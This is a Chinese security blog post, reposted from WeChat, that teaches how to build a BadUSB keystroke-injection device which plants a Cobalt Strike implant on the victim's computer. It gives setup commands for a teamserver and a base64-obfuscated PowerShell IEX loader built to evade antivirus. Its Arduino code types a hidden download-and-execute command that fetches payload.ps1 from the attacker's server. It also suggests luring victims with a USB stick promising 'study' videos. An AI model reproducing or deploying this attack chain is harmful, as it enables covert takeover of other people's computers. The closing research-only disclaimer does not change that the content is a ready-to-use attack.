BadUSB介绍
随着设备不断的升级改进,USB 能够连接到许多不同的设备,包括鼠标、键盘、相机、摄像头、无线网络设备等。但不幸的是,USB 的设计方式产生了这个 BadUSB 安全漏洞。
BadUSB 漏洞是由安全研究人员 Karsten Nohl 和 Jakob Lell 在 2014 年黑帽会议上首次发现并暴露出来的,这也就让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
就狭义来说,BadUSB是指形似 U 盘的设备,内部的电路在上电之后会被系统识别为键盘,此时该设备内部的芯片开始与电脑进行键盘通讯,仿照人的输入习惯,来操作电脑,以此达到骇入电脑的目的。
就广义来说,BadUSB是指一切会被电脑识别为 HID 设备的,外观却不像键盘的电子设备。现阶段有的 badusb 是形似数据线的,有的则是手机加定制内核,以发挥 BadUSB 的作用,更有甚者,将 BadUSB 开发为模块,可以嵌入任意的带 USB 接口的设备中。
badusb在红队作战中是非常常见的物理渗透手段,毕竟不是谁都能抵得住一个u盘的诱惑的,那么再加上500个g “学习”视频勒?你防得住吗?
准备工作
购买 badusb 、 烧录器 、 云服务器;共计开销大概二百五
①.在服务器中上传cs、screen,用于制作cs免杀马等
sftp root@IP
ls
put xxxcs.zip
ssh root@IP
apt update
apt install unzip
unzip cs.zip
apt install default-jdk
cd cs
chmod 777 teamserver
sudo ./teamserver IP password
apt install screen
screen -S test
②.下载并安装开发环境Arduino
由于 Arduino 的易用性,现阶段最常用的 BadUSB 还是基于 Arduino 进行设计的
下载地址:https://www.arduino.cc/en/software (有Windows、Linux、Mac版本,PS:建议别下最新的)
③.通过 zading 软件在电脑上安装对应的烧录器驱动
首先需要让电脑识别到我们的BadUSB设备(PS:需要找老的type-a线,新的我试过去貌似都无法识别)
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
然后打开 zading 软件,点击 Options - List All Devices
,找到我们的 usbasp 按照下图设置好驱动
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
当其在设备管理器中显示为 libusb-win32 devices
设备时,就意味着安装好了烧录器驱动
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
④.下载并安装烧录工具 progisp
网盘链接(提取码:xrb9)
CS免杀操作
制作CS免杀🐎
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
将其base64编码处理一下
Set-StrictMode -Version 2
$a1 = 'base64编码'
$a2 = 'base64编码'
$a3 = 'base64编码'
$a4 = 'base64编码'
$a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job
}
else {
IEX $a5
}
接着把文件名改为全大写的,然后通过CS上传至我们的公网服务器上(攻击 - 钓鱼攻击 - 文件下载),实现全程无落地✈
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
然后将我们需要的操作搞成思路,形成最基础的想法,接着将思路写成代码,通过 Arduino 编译生成hex文件,最后利用工具 progisp 烧录到我们的BadUSB中
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
附上部分关键代码
if (onetimeOrForever == 0)
{
delay(1000);
Keyboard.begin();
delay(1500);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1300);
Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
delay(1000);
Keyboard.begin();
delay(1500);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("notepad.exe");
delay(500);
Keyboard.println(" $$$$ ");
delay(500);
Keyboard.println(" $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$$$$$ $$$$$$");
Keyboard.println(" $$$$$$ $$ $$ $$ $$$$");
Keyboard.println(" $$ $$$$ $$ $$ $$ $$");
Keyboard.println(" $$ $$ $$ $$ $$ $$");
Keyboard.println(" $$ $$ $$ $$");
Keyboard.println(" $$$ $$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$$ $$");
Keyboard.println(" $$ $$$");
Keyboard.println(" $$$ $$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$$ $$$");
Keyboard.println(" $$ $$");
Keyboard.println(" $$$$$$$$$$$$$$$$$$$$");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
至此,我们的BadUSB配合CS免杀上线就已完工✌
演示视频
在吗?好兄弟,我想在你电脑拷贝点"学习"资料,我好晚上学习一下,插上我的u盘可以吗?
注:此文章仅限于安全研究,违法犯罪与作者无关!
请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!
【往期推荐】
【内网渗透】内网信息收集命令汇总
【内网渗透】域内信息收集命令汇总
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | Python】CS免杀-分离+混淆免杀思路
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【超详细】Fastjson1.2.24反序列化漏洞复现
记一次HW实战笔记 | 艰难的提权爬坑
走过路过的大佬们留个关注再走呗![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
往期文章有彩蛋哦![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
一如既往的学习,一如既往的整理,一如即往的分享![物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线 物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线]()
“如侵权请私聊公众号删文”
原文始发于微信公众号(渗透Xiao白帽):物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线
评论